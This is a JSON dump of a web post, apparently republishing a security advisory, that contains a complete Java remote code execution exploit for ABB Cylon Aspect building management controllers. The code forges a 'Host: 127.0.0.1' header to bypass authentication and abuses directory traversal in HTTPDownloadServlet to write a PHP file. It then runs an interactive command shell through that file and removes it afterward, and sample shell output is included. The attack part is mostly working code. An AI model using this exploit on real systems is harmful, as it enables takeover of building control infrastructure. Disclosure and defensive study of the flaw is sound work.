\n<\/p>\n
\/*<\/p>\n
ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution<\/p>\n
Vendor: ABB Ltd.
Product web page: https:\/\/www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.03<\/p>\n
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.<\/p>\n
Desc: ABB Cylon Aspect BMS\/BAS is vulnerable to a critical flaw in the
AuthenticatedHttpServlet within its application server, enabling
remote attackers to bypass authentication by setting the Host:
127.0.0.1 header. This deceives the server into processing requests
as if they originate from localhost, granting unauthorized access
to privileged operations. This bypass grants access to privileged
functionality, including the HTTPDownloadServlet, which is vulnerable
to directory traversal. By leveraging this, an attacker can write
arbitrary PHP files outside the intended directory scope. When combined,
these issues allow remote attackers to upload a malicious PHP shell
and execute system commands with the privileges of the web server,
leading to full system compromise.<\/p>\n
————————————————————————–
$ java -jar MixExploitHDS.jar
Enter Building IP (no port): 192.168.73.31
Enter Aspect web control port to access zsl.php (not the HMI port): 80
Writing exploit…
HTTP\/1.1 200 Successful
Entering pseudoshell…
Commando> id
uid=48(apache) gid=48(apache) groups=48(apache),0(root) context=system_u:system_r:httpd_t:s0
Commando> exit
zsl.php removed!
————————————————————————–<\/p>\n
Tested on: GNU\/Linux 3.15.10 (armv7l)
GNU\/Linux 3.10.0 (x86_64)
GNU\/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP\/7.3.11
PHP\/5.6.30
PHP\/5.4.16
PHP\/4.4.8
PHP\/5.3.3
AspectFT Automation Application Server
lighttpd\/1.4.32
lighttpd\/1.4.18
Apache\/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
ErgoTech MIX Deployment Server 2.0.0<\/p>\n
Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab – https:\/\/www.zeroscience.mk – @zeroscience<\/p>\n
Advisory ID: ZSL-2025-5940
Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5940.php<\/p>\n
21.04.2024<\/p>\n
*\/<\/p>\n
import java.io.*;
import java.net.*;
import java.util.Scanner;<\/p>\n
public class MixExploitHDS {
private static final int HMI_PORT = 7226;<\/p>\n
public static void main(String[] args) {
printBanner();
Scanner scanner = new Scanner(System.in);<\/p>\n
System.out.print(“Enter Building IP (no port): “);
String ip = scanner.nextLine().trim();<\/p>\n
if (ip.isEmpty() || ip.length() > 15 || !ip.matches(“\\\\d+\\\\.\\\\d+\\\\.\\\\d+\\\\.\\\\d+”)) {
System.err.println(“Invalid IP!”);
scanner.close();
return;
}<\/p>\n
System.out.print(“Enter Aspect web control port to access zsl.php (not the HMI port): “);
int webPort = Integer.parseInt(scanner.nextLine().trim());<\/p>\n
try {
String path = “\/servlets\/HTTPDownloadServlet?filename=..\/..\/..\/home\/MIX_CMIX\/htmlroot\/zsl.php”;
String phpPayload = ““;
String uploadResponse = sendPostRequest(ip, path, phpPayload);
String statusLine = uploadResponse.split(“\\n”)[0];
System.out.println(“Writing exploit…\\n” + statusLine);
System.out.println(“Entering pseudoshell…”);<\/p>\n
while (true) {
System.out.print(“Commando> “);
String command = scanner.nextLine().trim();
if (command.equalsIgnoreCase(“exit”)) {
String destroyCmd = “rm zsl.php”;
String cmdUrl = “http:\/\/” + ip + “:” + webPort + “\/zsl.php”;
String cmdData = “c=” + URLEncoder.encode(destroyCmd, “UTF-8”);
sendHttpUrlPost(cmdUrl, cmdData);
System.out.println(“zsl.php removed!”);
break;
}
if (!command.isEmpty()) {
String cmdUrl = “http:\/\/” + ip + “:” + webPort + “\/zsl.php”;
String cmdData = “c=” + URLEncoder.encode(command, “UTF-8”);
String response = sendHttpUrlPost(cmdUrl, cmdData);
System.out.println(response);
} else {
System.out.println(“Command please.”);
}
}<\/p>\n
} catch (Exception e) {
System.err.println(“Error: ” + e.getMessage());
} finally {
scanner.close();
}
}<\/p>\n
private static void printBanner() {
System.out.println(“\\n”);
System.out.println(” P R O J E C T”);
System.out.println(“”);
System.out.println(” .|”);
System.out.println(” | |”);
System.out.println(” |’| ._____”);
System.out.println(” ___ | | |. |’ .—\\”|”);
System.out.println(” _ .-‘ ‘-. | | .–‘| || | _| |”);
System.out.println(” .-‘| _.| | || ‘-__ | | | || |”);
System.out.println(” |’ | |. | || | | | | || |”);
System.out.println(” ___| ‘-‘ ‘ \\”\\” ‘-‘ ‘-.’ ‘` |___”);
System.out.println(“\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591 “);
System.out.println(“\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591”);
System.out.println(” \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 “);
System.out.println(” \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591”);
System.out.println(” \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591 “);
System.out.println(” \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2592\u2593\u2588\u2588\u2588\u2593\u2592\u2591”);
System.out.println(” \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591”);
System.out.println(” \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2592\u2593\u2588\u2593\u2592\u2591”);
System.out.println(” \u2591\u2592\u2593\u2588\u2593\u2592\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591 \u2591\u2592\u2593\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2592\u2591”);
System.out.println(“\\n”);
}<\/p>\n
private static String sendPostRequest(String ip, String path, String postData) throws IOException {
Socket socket = new Socket(ip, HMI_PORT);
OutputStream out = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));<\/p>\n
String request = “POST ” + path + ” HTTP\/1.1\\r\\n” +
“Host: 127.0.0.1\\r\\n” +
“Content-Type: application\/octet-stream\\r\\n” +
“Content-Length: ” + postData.length() + “\\r\\n” +
“Connection: close\\r\\n\\r\\n” +
postData;<\/p>\n
out.write(request.getBytes(“UTF-8”));
out.flush();<\/p>\n
StringBuilder response = new StringBuilder();
String line;
while ((line = in.readLine()) != null) {
response.append(line).append(“\\n”);
}
socket.close();
return response.toString().trim();
}<\/p>\n
private static String sendGetRequest(String urlStr) throws IOException {
URL url = new URL(urlStr);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod(“GET”);<\/p>\n
int responseCode = conn.getResponseCode();
StringBuilder response = new StringBuilder();
try (BufferedReader br = new BufferedReader(new InputStreamReader(
responseCode >= 400 ? conn.getErrorStream() : conn.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
response.append(line).append(“\\n”);
}
}
conn.disconnect();
return response.toString().trim();
}<\/p>\n
private static String sendHttpUrlPost(String urlStr, String postData) throws IOException {
URL url = new URL(urlStr);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod(“POST”);
conn.setDoOutput(true);
conn.setRequestProperty(“User-Agent”, “IMF”);<\/p>\n
try (OutputStream os = conn.getOutputStream()) {
byte[] input = postData.getBytes(“UTF-8”);
os.write(input, 0, input.length);
}<\/p>\n
int responseCode = conn.getResponseCode();
StringBuilder response = new StringBuilder();
try (BufferedReader br = new BufferedReader(new InputStreamReader(
responseCode >= 400 ? conn.getErrorStream() : conn.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
response.append(line).append(“\\n”);
}
}
conn.disconnect();
return response.toString().trim();
}
}<\/p>\n
<\/body><\/html>\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution Exploit ID ZSL-2025-5940 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS Information…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,13,33,7,11,5,107],"class_list":["post-5855","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n
ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=5855\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution Exploit ID ZSL-2025-5940 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=5855\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-23T10:40:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution\",\"datePublished\":\"2025-05-23T10:40:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855\"},\"wordCount\":917,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\",\"zeroscience\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5855#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855\",\"name\":\"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-23T10:40:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=5855\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=5855#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=5855","og_locale":"en_US","og_type":"article","og_title":"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem","og_description":"Exploit Details Basic Information Exploit Title ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution Exploit ID ZSL-2025-5940 Type zeroscience Published 2025-05-22T00:00:00 Modified 2025-05-22T00:00:00 CVSS Information...","og_url":"https:\/\/zero.redgem.net\/?p=5855","og_site_name":"zero redgem","article_published_time":"2025-05-23T10:40:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=5855#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=5855"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution","datePublished":"2025-05-23T10:40:35+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=5855"},"wordCount":917,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","news","NONE","Security","tapic","Vulnerability","zeroscience"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=5855#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=5855","url":"https:\/\/zero.redgem.net\/?p=5855","name":"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-23T10:40:35+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=5855#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=5855"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=5855#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"ABB Cylon Aspect 3.08.03 (MIX->HTTPDownloadServlet) Remote Code Execution"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5855","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5855"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5855\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}